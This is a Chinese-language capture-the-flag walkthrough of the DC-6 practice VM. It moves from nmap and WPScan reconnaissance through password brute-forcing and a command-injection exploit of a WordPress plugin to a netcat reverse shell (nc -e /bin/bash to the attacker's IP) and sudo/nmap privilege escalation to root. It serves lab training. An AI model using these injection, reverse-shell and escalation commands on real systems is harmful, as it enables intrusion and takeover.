1.靶机部署
kali安装:https://blog.youkuaiyun.com/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载:https://www.five86.com/downloads/DC-6.zip
解压后得到一个.ova的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.信息收集
2.1 IP扫描
使用nmap扫描同一个段下存活的IP,发现148开启了80端口
nmap 192.168.11.0/24
那么这个应该就是我们的靶机,在浏览器访问一下:
发现无法访问,并且地址栏出现了网站的域名,猜测应该是网站做了重定向,那我们在host文件里面添加一下IP和域名:
host文件位置:C:\Windows\System32\drivers\etc
192.168.11.148 wordy
再次访问就可以访问网站了:
kali的host文件在etc文件夹:
跟Windows一样,添加IP和域名
2.2 其他信息收集
扫描靶机开放的端口:
nmap -A -T4 -p- 192.168.11.148
使用插件查看网站CMS:
插件名称:Wappalyzer
敏感目录扫描:
dirb http://192.168.11.148
3.渗透过程
我们刚刚通过扫描敏感目录,发现了一个状态码为200,意思是可达的地址,访问发现是一个登录页面:
http://192.168.11.148/wp-admin/
扫描用户名
并且我们知道网站的CMS是word press,那我们就可以尝试使用wpscan扫描一下用户名:
wpscan --url wordy -e u
得到五个用户名,保存下来:
得到密码字典
当我们像DC-2一样扫描密码时,发现不可以:
这时候我们想起了作者的提示:
使用作者的提示生成一个密码字典:
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
有了用户名字典和密码字典,我们来爆破一下:
用户名:mark
密码:helpdesk01
登录:
漏洞发现
大概浏览页面之后,发现有个插件:
回想起刚开始看见页面的时候:
不知道什么意思?那停下来好好想想吧!!!
反弹shell-1
使用kali查找一下插件Activity monitor的漏洞:
searchsploit Activity monitor
发现了两个关于word press的漏洞,我们一个一个进行尝试,先尝试45274.html,将脚本下载下来,并查看其内容:
searchsploit -m 45274.html
查看内容,漏洞形式为PoC,并且存在CSRF(跨站请求伪造)漏洞 ,大概知道该脚本可以反弹shell。
没看出来???那可能是你打的靶场少,现在你就记住了!
cat 45274.html
修改内容,第一段为网站的域名,第二段为nc反弹shell的代码,其中IP地址为kali的IP
kali端打开nc监听:
文件修改好之后,在浏览器中访问此文件:
然后你就可以发现反弹shell成功了!!!
反弹shell-2
除上面的方法之外,还有其他可以反弹shenll的方式:
可以看到这里要求我们输入一个IP地址,那是否可以执行其他命令呢?
拼接ls命令试一下,发现可以执行,那我们是否可以考虑执行反弹shell命令:
拼接反弹shell命令:
记得卡里先开启监听
输入命令:
127.0.0.1 | nc -e /bin/bash 192.168.11.128 4444
注意:这里输入框的大小可能不够,需要打开开发者模式从源码修改文本框的大小,如果看不懂html代码,建议回炉重造!!!!
反弹成功!!!
生成交互式shell:
python -c “import pty;pty.spawn(‘/bin/bash’)”
发现用户名和密码
大概浏览文件:
在/home/mark/stuff目录下发现things-to-do.txt文件,其中有一名用户和密码:
用户名:graham
密码:GSo7isUM1D4
直接使用ssh连接:
ssh graham@192.168.11.148
提权
查看有限权限:
sudo -l
发现graham可以用jens的身份执行 /home/jens/backups.sh,那么如果把 /bin/bash追加到这个文件,然后用jens的身份执行这个文件的时候就会打开一个具有jens权限的shell
cd /home/jens
echo ‘/bin/bash’ >> backups.sh
sudo -u jens ./backups.sh
切换到jens用户后查看权限,发现jens可以使用root权限的nmap:
nmap在早期版本是可以用来提权的,我们来尝试一下nmap提权。将提权代码 os.execute(“/bin/sh”)写入一个文件中:
echo “os.execute(‘/bin/bash’)” > getshell
然后以root的权限用nmap执行这个脚本:
sudo nmap --script=getshell
注意:这里好像有个bug,提权后输入的命令不显示,只管输入直接回车就好了!!!